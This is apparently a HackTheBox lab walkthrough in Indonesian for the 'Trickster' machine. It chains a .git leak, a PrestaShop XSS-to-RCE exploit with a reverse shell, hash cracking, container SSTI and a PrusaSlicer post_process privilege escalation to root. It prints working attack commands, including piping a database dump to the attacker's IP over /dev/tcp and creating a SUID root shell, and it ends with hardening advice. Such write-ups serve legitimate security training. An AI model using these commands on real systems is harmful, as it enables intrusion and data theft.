HTB Machine Walkthrough: Trickster (Medium)
Target IP: 10.10.11.34
Domain: trickster.htb / shop.trickster.htb
Operasi: Offensive Penetration Testing & Lateral Movement
Tingkat Kesulitan: Medium
Operator: rwx4m (Purple Team Specialist)
🧭 Ringkasan Operasi & Vektor Serangan
Mesin Trickster merupakan lab simulasi infrastruktur e-commerce berbasis Ubuntu Linux yang menguji kejelian operator dalam rantai serangan multi-tahap (chained exploitation), pivoting kontainer internal, serta eksploitasi celah software khusus (desktop/tooling binaries).
[Attacker Machine]
│
▼ (Nmap Recon & Directory Fuzzing)
[trickster.htb / shop.trickster.htb]
│
▼ (Git Dumper -> Admin Path & PrestaShop <= 8.1.5)
[Initial Access: CVE-2024-34716 (XSS to RCE)] ──► User: www-data
│
▼ (Database Dump: parameters.php & Hash Cracking)
[Lateral Movement: SSH] ──────────────────────────► User: james
│
▼ (Internal Network Discovery & SSH Tunneling: Port 5000)
[Docker Container: changedetection.io]
│
▼ (CVE-2024-32651: SSTI to RCE) ────────► Container Root
│
▼ (Backup Archive Exfiltration & Brotli Decompression)
[SSH Lateral Movement] ──────────────────────────► User: adam
│
▼ (Sudo NOPASSWD: PrusaSlicer .3mf Malicious G-code Injection)
[Privilege Escalation] ──────────────────────────► System: ROOT (uid=0)
1. Fase Rekonaisans & Pemindaian Port (Reconnaissance)
Langkah awal dimulai dengan memetakan port dan layanan yang berjalan pada target:
export box=10.10.11.34
export domain=trickster.htb
echo "$box $domain" | sudo tee -a /etc/hosts
Pemindaian Nmap Lengkap:
sudo nmap -p22,80 -sV -sC -O -Pn --disable-arp-ping $box -oA FullTCP
Hasil Pemindaian:
Nmap scan report for trickster.htb (10.10.11.34)
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.52 (Ubuntu)
Pada port 80 langsung ditemukan kode respons 403 Forbidden. Namun saat navigasi ke antarmuka web, terdapat tab "SHOP" yang mengarahkan peramban ke subdomain baru: shop.trickster.htb.
Tambahkan subdomain ke berkas hosts:
echo "10.10.11.34 shop.trickster.htb" | sudo tee -a /etc/hosts
2. Directory Fuzzing & Kebocoran Repositori .git
Pada subdomain shop.trickster.htb, dilakukan enumerasi jalur web menggunakan FFUF:
export subdomain=shop.trickster.htb
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 20 -fc 404,403 -e .php,.html,.txt,.md \
-u http://$subdomain/FUZZ
Hasil fuzzing mendeteksi direktori sensitif .git terekspos ke publik tanpa proteksi akses web:
.git [Status: 301, Size: 326, Words: 20, Lines: 10]
Ekstraksi Repositori Git (git-dumper):
Untuk merekonstruksi seluruh riwayat commit dan struktur kode sumber target:
git-dumper-linux http://$subdomain/.git/ git-dumped
cd git-dumped/.git
git log
Log Git mengungkap commit menarik:
commit 0cbc7831c1104f1fb0948ba46f75f1666e18e64c (HEAD -> admin_panel)
Author: adam <adam@trickster.htb>
Date: Fri May 24 04:13:19 2024 -0400
update admin pannel
Pemeriksaan isi commit:
git show 0cbc7831c1104f1fb0948ba46f75f1666e18e64c
Ditemukan file baru dibuat pada jalur khusus:
admin634ewutrx1jgitlooaj/filemanager/config/config.php
Jalur admin panel rahasia adalah: http://shop.trickster.htb/admin634ewutrx1jgitlooaj/
3. Initial Access: Eksploitasi PrestaShop (CVE-2024-34716)
Navigasi ke panel admin mengonfirmasi aplikasi e-commerce adalah PrestaShop versi 8.1.5. Versi ini rentan terhadap CVE-2024-34716.
Celah ini memanfaatkan Cross-Site Scripting (XSS) melalui file PNG yang dimanipulasi (polyglot payload) pada fitur upload tema PrestaShop, yang kemudian dirangkai (chained) untuk mengunggah shell PHP (reverse_shell.php) dan memicu Remote Code Execution (RCE).
Mempersiapkan listener di port 12345 dan meluncurkan skrip eksploit:
python3 exploit.py --url http://shop.trickster.htb \
--email rwx4m@rwx.com \
--local-ip 10.10.16.69 \
--admin-path admin634ewutrx1jgitlooaj
Eksploit berhasil mengunggah arsip tema berbahaya ps_next_8_theme_malicious.zip dan memicu reverse shell:
Ncat: Connection from 10.10.11.34:55006.
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Stabilisasi TTY shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
4. Lateral Movement: www-data ke User james
Pemeriksaan daftar pengguna sistem di /etc/passwd:
cat /etc/passwd | grep -E "100[0-9]"
# james:x:1000:1000:trickster:/home/james:/bin/bash
# adam:x:1002:1002::/home/adam:/bin/bash
# runner:x:1003:1003::/home/runner:/bin/sh
Analisis Kredensial Database PrestaShop:
Pada konfigurasi PrestaShop di ~/prestashop/app/config/parameters.php, ditemukan kredensial database MariaDB:
'database_host' => '127.0.0.1',
'database_name' => 'prestashop',
'database_user' => 'ps_user',
'database_password' => 'ps_password_hidden',
Melakukan database dump untuk memeriksa tabel akun:
mysqldump -u ps_user -p --all-databases > /tmp/backup.sql
cat /tmp/backup.sql > /dev/tcp/10.10.16.69/8888
Dari hasil ekstraksi data tabel ps_employee, ditemukan hash password akun pengguna james:
SELECT firstname, lastname, email, passwd FROM ps_employee;
-- james | james | james@trickster.htb | $2y$10$...
Cracking Password Hash (hashcat):
hashcat -m 3200 -a 0 hashes.txt rockyou.txt
Hash bcrypt berhasil di-crack dalam hitungan detik. Kredensial pengguna james valid untuk autentikasi SSH!
ssh james@trickster.htb
james@trickster:~$ cat user.txt
# [USER FLAG SECURED]
5. Pivoting Kontainer Internal: Changedetection.io (CVE-2024-32651)
Sebagai user james, pengecekan layanan jaringan internal menggunakan ss dan ifconfig menunjukkan adanya interface docker:
docker0inet172.17.0.1
Melakukan scanning host dan port di subnet Docker:
for ip in {1..16}; do ping -c 1 -W 1 172.17.0.$ip &> /dev/null && echo "172.17.0.$ip is up"; done
# 172.17.0.1 is up (Gateway)
# 172.17.0.2 is up (Target Container)
for port in {1..9999}; do nc -zv -w 1 172.17.0.2 $port 2>&1 | grep succeeded; done
# Connection to 172.17.0.2 5000 port [tcp/*] succeeded!
SSH Local Port Forwarding:
Meneruskan port internal 5000 dari kontainer 172.17.0.2 ke komputer penyerang:
ssh -L 5000:172.17.0.2:5000 james@trickster.htb
Aplikasi web pada http://localhost:5000 adalah changedetection.io, platform monitoring perubahan konten web.
Eksploitasi SSTI Jinja2:
Aplikasi terindikasi rentan terhadap CVE-2024-32651 (Server-Side Template Injection pada modul notifikasi Jinja2). Verifikasi dengan Nuclei:
nuclei -u http://localhost:5000 -t ./CVE-2024-32651.yaml
# [CVE-2024-32651] [http] [critical] http://localhost:5000/login?next=/
Dengan mengonfigurasi URL pantauan web kustom dan menyematkan payload SSTI Python pada webhook notifikasi, kita memicu reverse shell:
sudo nc -lnvp 1234
# Connection received from 10.10.11.34
# root@a4b9a36ae7ff:/app# whoami -> root
6. Lateral Movement: Kontainer ke User adam
Di dalam kontainer, kita memiliki hak root pada direktori /datastore. Ditemukan arsip cadangan terkompresi pada /datastore/Backups:
-rw-r--r-- 1 root root 6.1K Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33K Aug 30 20:25 changedetection-backup-20240830202524.zip
Rantai Eksfiltrasi (Container -> DMZ Host -> Attacker):
# 1. Container:
cat changedetection-backup-20240830194841.zip > /dev/tcp/172.17.0.1/5657
# 2. Host (james):
nc -lvnp 5657 > /tmp/backup-1.zip
# 3. Attacker:
scp james@10.10.11.34:/tmp/backup-1.zip ./
Setelah diekstrak, terdapat berkas kompresi Brotli (.txt.br). Melakukan dekompresi menggunakan perkakas brotli:
brotli -d backup-1/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt.br
cat backup-1/b4a8b52d-651b-44bc-bbc6-f9e8c6590103/f04f0732f120c0cc84a993ad99decb2c.txt
Berkas tersebut membocorkan password plaintext milik pengguna adam!
Login via SSH sebagai user adam:
ssh adam@trickster.htb
adam@trickster:~$ id
# uid=1002(adam) gid=1002(adam) groups=1002(adam)
7. Privilege Escalation: PrusaSlicer G-code Injection ke ROOT
Pemeriksaan hak sudo user adam:
adam@trickster:~$ sudo -l
Matching Defaults entries for adam on trickster:
env_reset, mail_badpass, secure_path=..., use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Pengguna adam dapat mengeksekusi /opt/PrusaSlicer/prusaslicer dengan hak akses ROOT tanpa memerlukan kata sandi.
Analisis Kerentanan PrusaSlicer:
PrusaSlicer memproses berkas proyek 3D berformat .3mf (yang pada dasarnya adalah format arsip ZIP berisi file XML dan konfigurasi slicing). Parameter post_process pada Slic3r_PE.config mengizinkan eksekusi skrip atau biner eksternal pasca-proses pembuatan G-code!
Pada /opt/PrusaSlicer/, terdapat file contoh TRICKSTER.3mf.
Rekayasa Malicious .3mf:
- Mengunduh
TRICKSTER.3mfdan mengekstrak isinya:
7z x TRICKSTER.3mf -o3mfile
cd 3mfile
- Memodifikasi file
Metadata/Slic3r_PE.configdengan menambahkan payload pembuatan SUID root shell:
; post_process = "cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash"
; output_filename_format = rwx4m.gcode
- Mengemas kembali seluruh struktur berkas menjadi arsip 3MF:
zip -r -0 rwx4m.3mf *
scp rwx4m.3mf adam@trickster.htb:/home/adam/
- Menjalankan slicing menggunakan hak sudo:
adam@trickster:~$ sudo /opt/PrusaSlicer/prusaslicer rwx4m.3mf -s
PrusaSlicer memproses konfigurasi dan mengeksekusi direktif post_process dengan hak root!
Verifikasi SUID binary di /var/tmp/bash:
adam@trickster:~$ ls -la /var/tmp/bash
-rwsr-xr-x 1 root root 1396520 Jan 4 10:15 /var/tmp/bash
adam@trickster:~$ /var/tmp/bash -p
bash-5.1# id
uid=1002(adam) gid=1002(adam) euid=0(root) groups=0(root)
bash-5.1# cat /root/root.txt
# [ROOT FLAG CAPTURED - FULL COMPROMISE]
🛡️ Catatan Defensif / Blue Team Hardening
Sebagai Purple Team Specialist, setiap eksploitasi harus diiringi evaluasi pertahanan:
- Pencegahan Kebocoran Git:
Blokir akses folder.gitpada konfigurasi VirtualHost Apache:<DirectoryMatch "/\.git"> Require all denied </DirectoryMatch> - Segmentasi Database & Password Policy:
Jangan menyimpan password akun sistem di dalam tabel aplikasi CMS dalam bentuk hash yang lemah atau menggunakan password yang sama di level OS. - Container Isolation & Least Privilege:
Jalankan container denganread-onlyroot filesystem dan tanpa hak aksesroot(USER nodeatauUSER 1000). - Restriksi Sudoers & Binary Capabilities:
Hindari memberikan haksudotanpa batas pada perangkat lunak desain/desktop seperti slicer yang mendukung eksekusi skrip post-processing.